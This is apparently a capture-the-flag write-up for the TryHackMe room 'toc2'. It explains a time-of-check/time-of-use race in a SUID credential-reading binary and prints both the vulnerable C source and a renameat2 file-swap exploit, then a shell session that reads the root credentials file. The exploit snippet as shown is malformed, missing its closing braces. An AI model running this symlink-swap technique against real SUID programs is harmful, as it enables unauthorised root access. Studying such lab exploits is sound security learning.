It’s a setup… Can you get the flags in time?.

This is toc2 from THM. It’s medium rated. I mostly want to talk about the privesc, because I hadn’t seen it before.


Just a quick note on this; we were given some database credentials and allowed to install a CMS. This was a nice original touch which I appreciated.


The privesc uses a race condition vulnerability. We are provided a binary and the source code for it, plus a file only readable by root containing the credentials for the root user. Here’s the source:

frank@toc:~/root_access$ cat -n readcreds.c
cat -n readcreds.c
     1  #include <string.h>
     2  #include <stdio.h>
     3  #include <unistd.h>
     4  #include <sys/types.h>
     5  #include <fcntl.h>
     6  #include <errno.h>
     7  #include <stdlib.h>
     9  int main(int argc, char* argv[]) {
    10      int file_data; char buffer[256]; int size = 0;
    12      if(argc != 2) {
    13          printf("Binary to output the contents of credentials file \n ./readcreds [file] \n"); 
    14          exit(1);
    15      }
    17      if (!access(argv[1],R_OK)) {
    18              sleep(1);
    19              file_data = open(argv[1], O_RDONLY);
    20      } else {
    21              fprintf(stderr, "Cannot open %s \n", argv[1]);
    22              exit(1);
    23      }
    25      do {
    26          size = read(file_data, buffer, 256);
    27          write(1, buffer, size);
    28      } 
    30      while(size>0);
    32  }

The binary has the SUID bit. The usage is:

frank@toc:~/root_access$ ./readcreds root_password_backup
./readcreds root_password_backup
Cannot open root_password_backup 

So the argv[1] variable contains (intially at least) the root_password_backup file and the race condition arises because the variable is used twice: firstly by the access function on line 17, and then again by open on line 19. This gives us a small window to swap the value of the file between the first and second call.

The exploit code we use is:

#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
  return 0;

This comes from here. Ignore the lograte name in the path of the linked repo; that is similar but not the same as this. All this code does is run the renameat2 system call in a while loop, replacing the contents of file A with file B.

I compiled the exploit code on the box into a binary I called racer.

I created an empty file called ‘a’, and a symlink to the root_password_backup called hax. Then I called the binary:

frank@toc:~/root_access$ ln -s root_password_backup hax
frank@toc:~/root_access$ touch a
frank@toc:~/root_access$ ./racer hax a


frank@toc:~/root_access$ ./readcreds hax
./readcreds hax
Cannot open hax 
# didn't work this time, but it's constantly flipping
frank@toc:~/root_access$ ls -lash
ls -lash
total 44K
4.0K drwxr-xr-x 2 frank frank 4.0K Feb  5 22:50 .
4.0K drwxr-xr-x 6 frank frank 4.0K Feb  5 22:14 ..
   0 -rw-rw-r-- 1 frank frank    0 Feb  5 22:47 a
   0 lrwxrwxrwx 1 frank frank   20 Feb  5 22:46 hax -> root_password_backup
4.0K -rw-rw-r-- 1 frank frank  295 Feb  5 22:43 pwn.c
 12K -rwxrwxr-x 1 frank frank 8.2K Feb  5 22:47 racer
 12K -rwsr-xr-x 1 root  root  8.5K Jan 31 17:29 readcreds
4.0K -rw-r--r-- 1 root  root   656 Jan 31 12:44 readcreds.c
4.0K -rw------- 1 root  root    34 Aug 23 20:40 root_password_backup
frank@toc:~/root_access$ ./readcreds hax
./readcreds hax
Cannot open hax 
# nope, still didn't get it
frank@toc:~/root_access$ ./readcreds hax
./readcreds hax
# bingo
Root Credentials:  root:REDACTED 

This was pretty cool. Similar technique discussed here and here.